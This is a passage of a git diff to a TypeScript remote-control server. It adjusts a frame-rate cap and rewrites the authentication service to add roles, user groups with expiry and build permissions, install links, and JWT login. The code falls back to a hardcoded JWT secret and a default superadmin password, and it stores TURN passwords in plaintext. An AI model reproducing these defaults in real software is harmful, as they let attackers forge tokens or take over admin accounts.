maxHeight: 1280, label: '高画质' }, + ultra: { fps: 60, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, } export class AdaptiveQualityService { @@ -143,7 +143,7 @@ export class AdaptiveQualityService { maxHeight?: number }): { params: Partial } { const state = this.getOrCreateState(deviceId) - if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps)) + if (params.fps !== undefined) state.fps = Math.max(1, Math.min(60, params.fps)) if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality)) if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth)) if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight)) diff --git a/src/services/AuthService.ts b/src/services/AuthService.ts index 1b52415..ce10841 100644 --- a/src/services/AuthService.ts +++ b/src/services/AuthService.ts @@ -1,40 +1,107 @@ -// 确保环境变量已加载(如果还没有加载) -import dotenv from 'dotenv' +import dotenv from 'dotenv' import jwt from 'jsonwebtoken' import bcrypt from 'bcryptjs' import path from 'path' - -// pkg 打包后,需要从可执行文件所在目录读取 .env 文件 -// @ts-ignore - process.pkg 是 pkg 打包后添加的属性 -const envPath = (process as any).pkg - ? path.join(path.dirname(process.execPath), '.env') - : path.join(process.cwd(), '.env') - -dotenv.config({ path: envPath }) import fs from 'fs' import crypto from 'crypto' import Logger from '../utils/Logger' -/** - * 用户角色类型 - */ -export type UserRole = 'admin' | 'superadmin' +// pkg 打包后,读取可执行文件同目录下的 .env +// @ts-ignore +const envPath = (process as any).pkg + ? path.join(path.dirname(process.execPath), '.env') + : path.join(process.cwd(), '.env') + +dotenv.config({ path: envPath }) + +export type UserRole = 'superadmin' | 'leader' | 'member' -/** - * 用户信息接口 - */ export interface User { id: string username: string passwordHash: string - role?: UserRole // 用户角色,默认为'admin','superadmin'为超级管理员 + role: UserRole + groupId?: string + groupName?: string createdAt: Date lastLoginAt?: Date } -/** - * 登录结果接口 - */ +export interface UserGroup { + id: string + name: string + createdAt: Date + createdBy: string + expiresAt?: Date + allowBuild: boolean +} + +interface InstallLinkRecord { + token: string + ownerUserId: string + ownerUsername: string + ownerGroupId?: string + ownerGroupName?: string + createdByUserId: string + createdByUsername: string + createdAt: Date + expiresAt: Date + isUsed: boolean + usedAt?: Date + serverUrl?: string + webUrl?: string + webrtcTurnUrls?: string + webrtcTurnUsername?: string + webrtcTurnPassword?: string +} + +interface PersistedUser { + id: string + username: string + passwordHash: string + role?: string + groupId?: string + groupName?: string + createdAt: string + lastLoginAt?: string +} + +interface PersistedGroup { + id: string + name: string + createdAt: string + createdBy: string + expiresAt?: string + allowBuild?: boolean +} + +interface PersistedInstallLink { + token: string + ownerUserId: string + ownerUsername: string + ownerGroupId?: string + ownerGroupName?: string + createdByUserId: string + createdByUsername: string + createdAt: string + expiresAt: string + isUsed: boolean + usedAt?: string + serverUrl?: string + webUrl?: string + webrtcTurnUrls?: string + webrtcTurnUsername?: string + webrtcTurnPassword?: string +} + +interface PersistedAuthData { + version: string + savedAt: string + users: PersistedUser[] + groups?: PersistedGroup[] + installLinks?: PersistedInstallLink[] +} + export interface LoginResult { success: boolean message?: string @@ -42,312 +109,522 @@ export interface LoginResult { user?: { id: string username: string - role?: UserRole + role: UserRole + groupId?: string + groupName?: string + allowBuild?: boolean lastLoginAt?: Date } } -/** - * Token验证结果接口 - */ export interface TokenVerifyResult { valid: boolean user?: { id: string username: string - role?: UserRole + role: UserRole + groupId?: string + groupName?: string + allowBuild?: boolean } error?: string } -/** - * 认证服务 - */ +export interface PublicUser { + id: string + username: string + role: UserRole + groupId?: string + groupName?: string + allowBuild?: boolean + createdAt: Date + lastLoginAt?: Date +} + +export interface PublicGroup { + id: string + name: string + createdAt: Date + createdBy: string + expiresAt?: Date + allowBuild: boolean + isExpired: boolean +} + +export interface CreateUserOptions { + role?: UserRole + groupId?: string +} + +export interface CreateGroupOptions { + expiresAt?: Date + allowBuild?: boolean +} + +export interface InstallLinkCreateOptions { + ttlHours?: number + serverUrl?: string + webUrl?: string + webrtcTurnUrls?: string + webrtcTurnUsername?: string + webrtcTurnPassword?: string +} + +export interface InstallLinkCreateResult { + success: boolean + message: string + token?: string + expiresAt?: string +} + +export interface InstallLinkResolveResult { + success: boolean + message: string + data?: { + token: string + ownerUserId: string + ownerUsername: string + ownerGroupId?: string + ownerGroupName?: string + serverUrl?: string + webUrl?: string + webrtcTurnUrls?: string + webrtcTurnUsername?: string + webrtcTurnPassword?: string + expiresAt: string + } +} + export class AuthService { private logger: Logger private readonly JWT_SECRET: string private readonly JWT_EXPIRES_IN: string private readonly DEFAULT_USERNAME: string private readonly DEFAULT_PASSWORD: string - private users: Map = new Map() - private readonly INIT_LOCK_FILE: string - private readonly USER_DATA_FILE: string private readonly SUPERADMIN_USERNAME: string private readonly SUPERADMIN_PASSWORD: string + private readonly INIT_LOCK_FILE: string + private readonly USER_DATA_FILE: string + private readonly DEFAULT_GROUP_NAME: string + + private usersByUsername: Map = new Map() + private usersById: Map = new Map() + private groups: Map = new Map() + private installLinks: Map = new Map() constructor() { this.logger = new Logger('AuthService') - - // 确保环境变量已加载(双重保险) - // 注意:顶部的 dotenv.config() 已经加载了,这里不需要重复加载 - - // 从环境变量获取配置,如果没有则使用默认值 + this.JWT_SECRET = process.env.JWT_SECRET || '838AE2CD136220F0758FFCD40A335E82' this.JWT_EXPIRES_IN = process.env.JWT_EXPIRES_IN || '24h' this.DEFAULT_USERNAME = process.env.DEFAULT_USERNAME || '' this.DEFAULT_PASSWORD = process.env.DEFAULT_PASSWORD || '' - - // 超级管理员账号配置(从环境变量获取,如果没有则使用默认值) this.SUPERADMIN_USERNAME = process.env.SUPERADMIN_USERNAME || 'superadmin' this.SUPERADMIN_PASSWORD = process.env.SUPERADMIN_PASSWORD || 'superadmin123456' - - // 调试日志:显示加载的环境变量(不显示敏感信息) - const envLoaded = process.env.SUPERADMIN_USERNAME !== undefined - this.logger.info(`环境变量加载状态:`) - this.logger.info(` - SUPERADMIN_USERNAME: ${this.SUPERADMIN_USERNAME} ${envLoaded ? '(从.env加载)' : '(使用默认值)'}`) - this.logger.info(` - SUPERADMIN_PASSWORD: ${process.env.SUPERADMIN_PASSWORD ? '已从.env加载' : '未设置(使用默认值)'}`) - this.logger.info(` - JWT_SECRET: ${process.env.JWT_SECRET ? '已从.env加载' : '未设置(使用默认值)'}`) - - // 设置初始化锁文件路径(pkg 打包后,从可执行文件所在目录) - // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 - const basePath = (process as any).pkg + this.DEFAULT_GROUP_NAME = process.env.DEFAULT_GROUP_NAME || '默认组' + + // @ts-ignore + const basePath = (process as any).pkg ? path.dirname(process.execPath) : process.cwd() - + this.INIT_LOCK_FILE = path.join(basePath, '.system_initialized') - // 设置用户数据文件路径 this.USER_DATA_FILE = path.join(basePath, '.user_data.json') - - this.logger.info(`认证服务配置完成,锁文件: ${this.INIT_LOCK_FILE},用户数据: ${this.USER_DATA_FILE}`) - - // 注意:异步初始化在 initialize() 方法中执行 + + this.logger.info(`认证服务配置完成,用户数据文件: ${this.USER_DATA_FILE}`) } - /** - * 初始化认证服务(异步) - * 必须在创建 AuthService 实例后调用此方法 - */ async initialize(): Promise { try { this.logger.info('开始初始化认证服务...') - - // 先初始化或恢复用户数据 await this.initializeOrRestoreUsers() - - // 然后初始化超级管理员 await this.initializeSuperAdmin() - + this.ensureNonSuperUsersHaveGroup() + await this.saveUsersToFile() this.logger.info('认证服务初始化完成') } catch (error) { this.logger.error('认证服务初始化失败:', error) - // 即使初始化失败,也尝试创建超级管理员作为备用 - try { - await this.initializeSuperAdmin() - } catch (superAdminError) { - this.logger.error('创建超级管理员失败:', superAdminError) - } + await this.initializeSuperAdmin().catch((e) => { + this.logger.error('超级管理员兜底初始化失败:', e) + }) } } - /** - * 初始化或恢复用户数据 - */ - private async initializeOrRestoreUsers(): Promise { - try { - if (this.isInitialized()) { - // 系统已初始化,从文件恢复用户数据 - await this.loadUsersFromFile() - this.logger.info('用户数据已从文件恢复') + private normalizeRole(role?: string): UserRole { + const normalized = (role || '').trim().toLowerCase() + if (normalized === 'superadmin') return 'superadmin' + if (normalized === 'leader') return 'leader' + if (normalized === 'member') return 'member' + if (normalized === 'admin') return 'leader' + return 'member' + } + + private syncUserIndexes(): void { + this.usersById.clear() + for (const user of this.usersByUsername.values()) { + this.usersById.set(user.id, user) + } + } + + private getUserAllowBuild(user: User): boolean { + if (user.role === 'superadmin') return true + if (!user.groupId) return false + const group = this.groups.get(user.groupId) + if (!group) return false + return group.allowBuild !== false + } + + private toPublicUser(user: User): PublicUser { + return { + id: user.id, + username: user.username, + role: user.role, + groupId: user.groupId, + groupName: user.groupName, + allowBuild: this.getUserAllowBuild(user), + createdAt: user.createdAt, + lastLoginAt: user.lastLoginAt + } + } + + private toPublicGroup(group: UserGroup): PublicGroup { + const isExpired = this.isGroupExpired(group) + return { + id: group.id, + name: group.name, + createdAt: group.createdAt, + createdBy: group.createdBy, + expiresAt: group.expiresAt, + allowBuild: group.allowBuild, + isExpired + } + } + + private createGroupId(): string { + return `group_${Date.now()}_${Math.random().toString(36).slice(2, 8)}` + } + + private ensureDefaultGroup(): UserGroup { + const existing = Array.from(this.groups.values()).find((group) => group.name === this.DEFAULT_GROUP_NAME) + if (existing) return existing + + const group: UserGroup = { + id: this.createGroupId(), + name: this.DEFAULT_GROUP_NAME, + createdAt: new Date(), + createdBy: 'system', + allowBuild: true + } + this.groups.set(group.id, group) + return group + } + + private isGroupExpired(group?: UserGroup): boolean { + if (!group?.expiresAt) return false + return group.expiresAt.getTime() <= Date.now() + } + + private validateUserLoginStatus(user: User): { valid: boolean, message?: string } { + if (user.role === 'superadmin') { + return { valid: true } + } + + if (!user.groupId) { + return { valid: false, message: '当前账号未分配用户组,请联系管理员' } + } + + const group = this.groups.get(user.groupId) + if (!group) { + return { valid: false, message: '所属用户组不存在,请联系管理员' } + } + + user.groupName = group.name + + if (this.isGroupExpired(group)) { + return { valid: false, message: '所属用户组已过期,请联系管理员续费' } + } + + return { valid: true } + } + + private ensureNonSuperUsersHaveGroup(): void { + const defaultGroup = this.ensureDefaultGroup() + for (const user of this.usersByUsername.values()) { + if (user.role === 'superadmin') { + user.groupId = undefined + user.groupName = undefined + continue + } + + if (!user.groupId || !this.groups.has(user.groupId)) { + user.groupId = defaultGroup.id + user.groupName = defaultGroup.name } else { - // 系统未初始化,创建默认用户 - await this.initializeDefaultUser() + user.groupName = this.groups.get(user.groupId)?.name || user.groupName || defaultGroup.name } - } catch (error) { - this.logger.error('初始化或恢复用户数据失败:', error) - // 如果恢复失败,尝试创建默认用户作为备用 - await this.initializeDefaultUser() } + this.syncUserIndexes() + } + + private userExists(username: string): boolean { + return this.usersByUsername.has(username) + } + + private async initializeOrRestoreUsers(): Promise { + if (this.isInitialized()) { + await this.loadUsersFromFile() + return + } + + await this.initializeDefaultUser() } - /** - * 初始化默认管理员用户 - */ private async initializeDefaultUser(): Promise { - try { - const passwordHash = await bcrypt.hash(this.DEFAULT_PASSWORD, 10) - const defaultUser: User = { - id: 'admin', - username: this.DEFAULT_USERNAME, - passwordHash, - role: 'admin', - createdAt: new Date() - } - - this.users.set(this.DEFAULT_USERNAME, defaultUser) - this.logger.info(`默认用户已创建: ${this.DEFAULT_USERNAME}`) - } catch (error) { - this.logger.error('初始化默认用户失败:', error) + const username = this.DEFAULT_USERNAME.trim() + const password = this.DEFAULT_PASSWORD + + if (!username || !password) { + this.logger.warn('DEFAULT_USERNAME 或 DEFAULT_PASSWORD 未配置,跳过默认账户初始化') + return } + + if (this.userExists(username)) { + return + } + + const defaultGroup = this.ensureDefaultGroup() + const passwordHash = await bcrypt.hash(password, 10) + const defaultUser: User = { + id: `leader_${Date.now()}`, + username, + passwordHash, + role: 'leader', + groupId: defaultGroup.id, + groupName: defaultGroup.name, + createdAt: new Date() + } + + this.usersByUsername.set(username, defaultUser) + this.syncUserIndexes() + this.logger.info(`默认用户已创建: ${username} (leader)`) } - /** - * 初始化超级管理员账号 - */ private async initializeSuperAdmin(): Promise { - try { - // 如果超级管理员已存在,检查是否需要更新 - if (this.users.has(this.SUPERADMIN_USERNAME)) { - const existingUser = this.users.get(this.SUPERADMIN_USERNAME)! - let needsUpdate = false - - // 如果现有用户不是超级管理员,更新为超级管理员 - if (existingUser.role !== 'superadmin') { - existingUser.role = 'superadmin' - needsUpdate = true - this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`) - } - - // 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效) - // 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新 - if (this.SUPERADMIN_PASSWORD) { - const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash) - if (!isCurrentPassword) { - // 环境变量中的密码与当前密码不同,更新密码 - existingUser.passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10) - needsUpdate = true - this.logger.info(`超级管理员密码已更新(从.env文件加载新密码)`) - } else { - this.logger.debug(`超级管理员密码与.env配置一致,无需更新`) - } - } - - if (needsUpdate) { - this.users.set(this.SUPERADMIN_USERNAME, existingUser) - await this.saveUsersToFile() - } - return + const existing = this.usersByUsername.get(this.SUPERADMIN_USERNAME) + if (existing) { + let changed = false + + if (existing.role !== 'superadmin') { + existing.role = 'superadmin' + existing.groupId = undefined + existing.groupName = undefined + changed = true } - // 创建超级管理员账号 - const passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10) - const superAdminUser: User = { - id: 'superadmin', - username: this.SUPERADMIN_USERNAME, - passwordHash, - role: 'superadmin', - createdAt: new Date() + const isPasswordSame = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existing.passwordHash) + if (!isPasswordSame) { + existing.passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10) + changed = true } - - this.users.set(this.SUPERADMIN_USERNAME, superAdminUser) - this.logger.info(`超级管理员账号已创建: ${this.SUPERADMIN_USERNAME}`) - - // 保存用户数据到文件 - try { + + if (changed) { + this.usersByUsername.set(existing.username, existing) + this.syncUserIndexes() await this.saveUsersToFile() - } catch (saveError) { - this.logger.error('保存超级管理员数据失败:', saveError) } - } catch (error) { - this.logger.error('初始化超级管理员失败:', error) + + return } + + const superadmin: User = { + id: 'superadmin', + username: this.SUPERADMIN_USERNAME, + passwordHash: await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10), + role: 'superadmin', + createdAt: new Date() + } + + this.usersByUsername.set(superadmin.username, superadmin) + this.syncUserIndexes() + await this.saveUsersToFile() + this.logger.info(`超级管理员账号已创建: ${superadmin.username}`) } - /** - * 保存用户数据到文件 - */ private async saveUsersToFile(): Promise { - try { - const usersData = Array.from(this.users.values()) - const data = { - version: '1.0.0', - savedAt: new Date().toISOString(), - users: usersData - } - - fs.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2)) - this.logger.debug('用户数据已保存到文件') - } catch (error) { - this.logger.error('保存用户数据失败:', error) - throw error + const data: PersistedAuthData = { + version: '2.0.0', + savedAt: new Date().toISOString(), + users: Array.from(this.usersByUsername.values()).map((user) => ({ + id: user.id, + username: user.username, + passwordHash: user.passwordHash, + role: user.role, + groupId: user.groupId, + groupName: user.groupName, + createdAt: user.createdAt.toISOString(), + lastLoginAt: user.lastLoginAt?.toISOString() + })), + groups: Array.from(this.groups.values()).map((group) => ({ + id: group.id, + name: group.name, + createdAt: group.createdAt.toISOString(), + createdBy: group.createdBy, + expiresAt: group.expiresAt?.toISOString(), + allowBuild: group.allowBuild + })), + installLinks: Array.from(this.installLinks.values()).map((record) => ({ + token: record.token, + ownerUserId: record.ownerUserId, + ownerUsername: record.ownerUsername, + ownerGroupId: record.ownerGroupId, + ownerGroupName: record.ownerGroupName, + createdByUserId: record.createdByUserId, + createdByUsername: record.createdByUsername, + createdAt: record.createdAt.toISOString(), + expiresAt: record.expiresAt.toISOString(), + isUsed: record.isUsed, + usedAt: record.usedAt?.toISOString(), + serverUrl: record.serverUrl, + webUrl: record.webUrl, + webrtcTurnUrls: record.webrtcTurnUrls, + webrtcTurnUsername: record.webrtcTurnUsername, + webrtcTurnPassword: record.webrtcTurnPassword + })) } + + fs.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2), 'utf8') } - /** - * 从文件加载用户数据 - */ private async loadUsersFromFile(): Promise { - try { - if (!fs.existsSync(this.USER_DATA_FILE)) { - this.logger.warn('用户数据文件不存在,将创建空用户列表') - return - } - - const fileContent = fs.readFileSync(this.USER_DATA_FILE, 'utf8') - const data = JSON.parse(fileContent) - - this.users.clear() - - if (data.users && Array.isArray(data.users)) { - for (const userData of data.users) { - // 恢复Date对象 - const user: User = { - ...userData, - role: userData.role || 'admin', // 兼容旧数据,默认为admin - createdAt: new Date(userData.createdAt), - lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined - } - this.users.set(user.username, user) - } - this.logger.info(`已加载 ${data.users.length} 个用户`) - } - } catch (error) { - this.logger.error('加载用户数据失败:', error) - throw error + if (!fs.existsSync(this.USER_DATA_FILE)) { + this.logger.warn('用户数据文件不存在,将使用内存默认值') + return } + + const fileContent = fs.readFileSync(this.USER_DATA_FILE, 'utf8') + const data = JSON.parse(fileContent) as PersistedAuthData + + this.usersByUsername.clear() + this.usersById.clear() + this.groups.clear() + this.installLinks.clear() + + if (Array.isArray(data.groups)) { + for (const group of data.groups) { + if (!group.id || !group.name) continue + const createdAt = group.createdAt ? new Date(group.createdAt) : new Date() + const parsedCreatedAt = Number.isNaN(createdAt.getTime()) ? new Date() : createdAt + const parsedExpiresAt = group.expiresAt ? new Date(group.expiresAt) : undefined + const expiresAt = parsedExpiresAt && !Number.isNaN(parsedExpiresAt.getTime()) + ? parsedExpiresAt + : undefined + this.groups.set(group.id, { + id: group.id, + name: group.name, + createdAt: parsedCreatedAt, + createdBy: group.createdBy || 'system', + expiresAt, + allowBuild: group.allowBuild !== false + }) + } + } + + if (Array.isArray(data.users)) { + for (const userData of data.users) { + const username = (userData.username || '').trim() + if (!username) continue + + const role = this.normalizeRole(userData.role) + const user: User = { + id: userData.id || `user_${Date.now()}_${Math.random().toString(36).slice(2, 8)}`, + username, + passwordHash: userData.passwordHash, + role, + groupId: userData.groupId, + groupName: userData.groupName, + createdAt: new Date(userData.createdAt), + lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined + } + + // 兼容旧角色 admin -> leader + if (user.role === 'leader' && !user.groupId) { + const defaultGroup = this.ensureDefaultGroup() + user.groupId = defaultGroup.id + user.groupName = defaultGroup.name + } + + this.usersByUsername.set(username, user) + } + } + + this.syncUserIndexes() + + if (Array.isArray(data.installLinks)) { + for (const row of data.installLinks) { + if (!row.token) continue + this.installLinks.set(row.token, { + token: row.token, + ownerUserId: row.ownerUserId, + ownerUsername: row.ownerUsername, + ownerGroupId: row.ownerGroupId, + ownerGroupName: row.ownerGroupName, + createdByUserId: row.createdByUserId, + createdByUsername: row.createdByUsername, + createdAt: new Date(row.createdAt), + expiresAt: new Date(row.expiresAt), + isUsed: !!row.isUsed, + usedAt: row.usedAt ? new Date(row.usedAt) : undefined, + serverUrl: row.serverUrl, + webUrl: row.webUrl, + webrtcTurnUrls: row.webrtcTurnUrls, + webrtcTurnUsername: row.webrtcTurnUsername, + webrtcTurnPassword: row.webrtcTurnPassword + }) + } + } + + this.ensureNonSuperUsersHaveGroup() + this.logger.info(`已加载 ${this.usersByUsername.size} 个用户, ${this.groups.size} 个用户组`) } - /** - * 用户登录 - */ async login(username: string, password: string): Promise { try { - this.logger.info(`用户登录尝试: ${username}`) - - // 查找用户 - const user = this.users.get(username) + const user = this.usersByUsername.get(username) if (!user) { - this.logger.warn(`用户不存在: ${username}`) - return { - success: false, - message: '用户名或密码错误' - } + return { success: false, message: '用户名或密码错误' } } - // 验证密码 - const isPasswordValid = await bcrypt.compare(password, user.passwordHash) - if (!isPasswordValid) { - this.logger.warn(`密码错误: ${username}`) - return { - success: false, - message: '用户名或密码错误' - } + const valid = await bcrypt.compare(password, user.passwordHash) + if (!valid) { + return { success: false, message: '用户名或密码错误' } + } + + const status = this.validateUserLoginStatus(user) + if (!status.valid) { + return { success: false, message: status.message || '账号状态异常' } } - // 更新最后登录时间 user.lastLoginAt = new Date() - - // 保存用户数据到文件(异步但不影响登录流程) - this.saveUsersToFile().catch(saveError => { - this.logger.error('保存用户数据失败:', saveError) - }) + this.usersByUsername.set(user.username, user) + this.syncUserIndexes() + await this.saveUsersToFile().catch((e) => this.logger.error('保存用户登录时间失败:', e)) - // 生成JWT token(包含用户角色信息) const token = jwt.sign( - { - userId: user.id, + { + userId: user.id, username: user.username, - role: user.role || 'admin' // 包含用户角色 + role: user.role, + groupId: user.groupId, + groupName: user.groupName }, this.JWT_SECRET, - { + { expiresIn: this.JWT_EXPIRES_IN, issuer: 'remote-control-server', audience: 'remote-control-client' } as jwt.SignOptions ) - this.logger.info(`用户登录成功: ${username}`) - return { success: true, message: '登录成功', @@ -355,23 +632,19 @@ export class AuthService { user: { id: user.id, username: user.username, - role: user.role || 'admin', + role: user.role, + groupId: user.groupId, + groupName: user.groupName, + allowBuild: this.getUserAllowBuild(user), lastLoginAt: user.lastLoginAt } } - } catch (error) { - this.logger.error('登录过程发生错误:', error) - return { - success: false, - message: '登录失败,请稍后重试' - } + this.logger.error('登录失败:', error) + return { success: false, message: '登录失败,请稍后重试' } } } - /** - * 验证JWT token - */ verifyToken(token: string): TokenVerifyResult { try { const decoded = jwt.verify(token, this.JWT_SECRET, { @@ -379,201 +652,583 @@ export class AuthService { audience: 'remote-control-client' }) as any - const user = this.users.get(decoded.username) + const user = this.usersByUsername.get(decoded.username) if (!user) { - return { - valid: false, - error: '用户不存在' - } + return { valid: false, error: '用户不存在' } + } + + const status = this.validateUserLoginStatus(user) + if (!status.valid) { + return { valid: false, error: status.message || '账号状态异常' } } return { valid: true, user: { - id: decoded.userId, - username: decoded.username, - role: user.role || 'admin' // 返回用户角色 + id: user.id, + username: user.username, + role: user.role, + groupId: user.groupId, + groupName: user.groupName, + allowBuild: this.getUserAllowBuild(user) } } - } catch (error: any) { - this.logger.warn('Token验证失败:', error.message) - - if (error.name === 'TokenExpiredError') { - return { - valid: false, - error: 'Token已过期' - } - } else if (error.name === 'JsonWebTokenError') { - return { - valid: false, - error: 'Token无效' - } - } else { - return { - valid: false, - error: '验证失败' - } + if (error?.name === 'TokenExpiredError') { + return { valid: false, error: 'Token已过期' } } + if (error?.name === 'JsonWebTokenError') { + return { valid: false, error: 'Token无效' } + } + return { valid: false, error: '验证失败' } } } - /** - * 获取用户信息 - */ getUserByUsername(username: string): User | undefined { - return this.users.get(username) + return this.usersByUsername.get(username) } - /** - * 创建新用户(用于扩展功能) - */ - async createUser(username: string, password: string): Promise { - try { - if (this.users.has(username)) { - this.logger.warn(`用户已存在: ${username}`) - return false - } + getUserById(userId: string): User | undefined { + return this.usersById.get(userId) + } - const passwordHash = await bcrypt.hash(password, 10) - const user: User = { - id: `user_${Date.now()}`, - username, - passwordHash, - role: 'admin', // 新创建的用户默认为普通管理员 - createdAt: new Date() - } + getAllUsers(): PublicUser[] { + return Array.from(this.usersByUsername.values()).map((u) => this.toPublicUser(u)) + } - this.users.set(username, user) - - // 保存用户数据到文件 - try { - await this.saveUsersToFile() - } catch (saveError) { - this.logger.error('保存用户数据失败:', saveError) - } - - this.logger.info(`新用户已创建: ${username}`) - return true + getAllGroups(): PublicGroup[] { + return Array.from(this.groups.values()) + .sort((a, b) => a.name.localeCompare(b.name)) + .map((g) => this.toPublicGroup(g)) + } - } catch (error) { - this.logger.error('创建用户失败:', error) - return false + getVisibleGroups(operatorUserId: string): PublicGroup[] { + const operator = this.getUserById(operatorUserId) + if (!operator) return [] + + if (operator.role === 'superadmin') { + return this.getAllGroups() + } + + if (!operator.groupId) return [] + const group = this.groups.get(operator.groupId) + return group ? [this.toPublicGroup(group)] : [] + } + + getVisibleUsers(operatorUserId: string): PublicUser[] { + const operator = this.getUserById(operatorUserId) + if (!operator) return [] + + if (operator.role === 'superadmin') { + return this.getAllUsers() + } + + if (!operator.groupId) { + return [this.toPublicUser(operator)] + } + + const users = Array.from(this.usersByUsername.values()).filter((user) => { + if (user.role === 'superadmin') return false + if (!user.groupId) return false + return user.groupId === operator.groupId + }) + + return users.map((u) => this.toPublicUser(u)) + } + + getTransferTargets(operatorUserId: string): PublicUser[] { + const operator = this.getUserById(operatorUserId) + if (!operator) return [] + + if (operator.role === 'superadmin') { + return Array.from(this.usersByUsername.values()) + .filter((u) => u.role !== 'superadmin') + .map((u) => this.toPublicUser(u)) + } + + if (!operator.groupId) return [] + + return Array.from(this.usersByUsername.values()) + .filter((u) => u.role !== 'superadmin' && u.groupId === operator.groupId) + .map((u) => this.toPublicUser(u)) + } + + async createGroup( + name: string, + createdByUserId: string, + options?: CreateGroupOptions + ): Promise<{ success: boolean, message: string, group?: PublicGroup }> { + const trimmedName = (name || '').trim() + if (!trimmedName) { + return { success: false, message: '组名不能为空' } + } + + const duplicate = Array.from(this.groups.values()).some((group) => group.name === trimmedName) + if (duplicate) { + return { success: false, message: '组名已存在' } + } + + const createdBy = this.getUserById(createdByUserId)?.username || createdByUserId + const expiresAt = options?.expiresAt ? new Date(options.expiresAt) : undefined + if (expiresAt && Number.isNaN(expiresAt.getTime())) { + return { success: false, message: '过期时间格式无效' } + } + if (expiresAt && expiresAt.getTime() <= Date.now()) { + return { success: false, message: '过期时间必须晚于当前时间' } + } + + const group: UserGroup = { + id: this.createGroupId(), + name: trimmedName, + createdAt: new Date(), + createdBy, + expiresAt, + allowBuild: options?.allowBuild !== false + } + + this.groups.set(group.id, group) + await this.saveUsersToFile() + + return { + success: true, + message: '创建组成功', + group: this.toPublicGroup(group) + } + } + + async updateGroup( + groupId: string, + updates?: { + name?: string + expiresAt?: Date | string | null + allowBuild?: boolean + } + ): Promise<{ success: boolean, message: string, group?: PublicGroup }> { + const normalizedGroupId = (groupId || '').trim() + if (!normalizedGroupId) { + return { success: false, message: 'groupId 不能为空' } + } + + const group = this.groups.get(normalizedGroupId) + if (!group) { + return { success: false, message: '用户组不存在' } + } + + if (updates?.name !== undefined) { + const trimmedName = String(updates.name || '').trim() + if (!trimmedName) { + return { success: false, message: '组名不能为空' } + } + + const duplicate = Array.from(this.groups.values()).some( + (item) => item.id !== group.id && item.name === trimmedName + ) + if (duplicate) { + return { success: false, message: '组名已存在' } + } + + group.name = trimmedName + + for (const user of this.usersByUsername.values()) { + if (user.groupId === group.id) { + user.groupName = trimmedName + } + } + } + + if (updates && Object.prototype.hasOwnProperty.call(updates, 'expiresAt')) { + const nextExpiresAt = updates.expiresAt + if (nextExpiresAt === null || nextExpiresAt === '' || nextExpiresAt === undefined) { + group.expiresAt = undefined + } else { + const parsed = nextExpiresAt instanceof Date ? nextExpiresAt : new Date(nextExpiresAt) + if (Number.isNaN(parsed.getTime())) { + return { success: false, message: '过期时间格式无效' } + } + group.expiresAt = parsed + } + } + + if (updates && Object.prototype.hasOwnProperty.call(updates, 'allowBuild')) { + group.allowBuild = updates.allowBuild !== false + } + + this.groups.set(group.id, group) + this.syncUserIndexes() + await this.saveUsersToFile() + + return { + success: true, + message: '更新组成功', + group: this.toPublicGroup(group) + } + } + + async deleteGroup(groupId: string): Promise<{ success: boolean, message: string }> { + const normalizedGroupId = (groupId || '').trim() + if (!normalizedGroupId) { + return { success: false, message: 'groupId 不能为空' } + } + + const group = this.groups.get(normalizedGroupId) + if (!group) { + return { success: false, message: '用户组不存在' } + } + + if (group.name === this.DEFAULT_GROUP_NAME) { + return { success: false, message: '默认组不允许删除' } + } + + const members = Array.from(this.usersByUsername.values()).filter((user) => { + return user.role !== 'superadmin' && user.groupId === normalizedGroupId + }) + if (members.length > 0) { + return { success: false, message: '组内仍有成员,无法删除' } + } + + this.groups.delete(normalizedGroupId) + await this.saveUsersToFile() + return { success: true, message: '删除组成功' } + } + + getGroupMembers(groupId: string): PublicUser[] { + const normalizedGroupId = (groupId || '').trim() + if (!normalizedGroupId) return [] + return Array.from(this.usersByUsername.values()) + .filter((user) => user.role !== 'superadmin' && user.groupId === normalizedGroupId) + .map((user) => this.toPublicUser(user)) + .sort((a, b) => a.username.localeCompare(b.username)) + } + + async removeUser(userId: string): Promise<{ success: boolean, message: string, user?: PublicUser }> { + const user = this.getUserById(userId) + if (!user) { + return { success: false, message: '用户不存在' } + } + + if (user.role === 'superadmin') { + return { success: false, message: '不能删除超级管理员' } + } + + this.usersByUsername.delete(user.username) + this.syncUserIndexes() + + for (const [token, link] of this.installLinks.entries()) { + if (link.ownerUserId === user.id || link.createdByUserId === user.id) { + this.installLinks.delete(token) + } + } + + await this.saveUsersToFile() + + return { + success: true, + message: '删除成员成功', + user: this.toPublicUser(user) + } + } + + canUserBuildApk(userId: string): { allowed: boolean, message?: string } { + const user = this.getUserById(userId) + if (!user) { + return { allowed: false, message: '用户不存在' } + } + + if (user.role === 'superadmin') { + return { allowed: true } + } + + if (!user.groupId) { + return { allowed: false, message: '当前账号未分配用户组,请联系管理员' } + } + + const group = this.groups.get(user.groupId) + if (!group) { + return { allowed: false, message: '所属用户组不存在,请联系管理员' } + } + + if (this.isGroupExpired(group)) { + return { allowed: false, message: '所属用户组已过期,请联系管理员续费' } + } + + if (!group.allowBuild) { + return { allowed: false, message: '当前用户组未开通构建权限' } + } + + return { allowed: true } + } + + async createUser(username: string, password: string, options?: CreateUserOptions): Promise<{ success: boolean, message: string, user?: PublicUser }> { + const trimmedUsername = (username || '').trim() + if (!trimmedUsername) { + return { success: false, message: '用户名不能为空' } + } 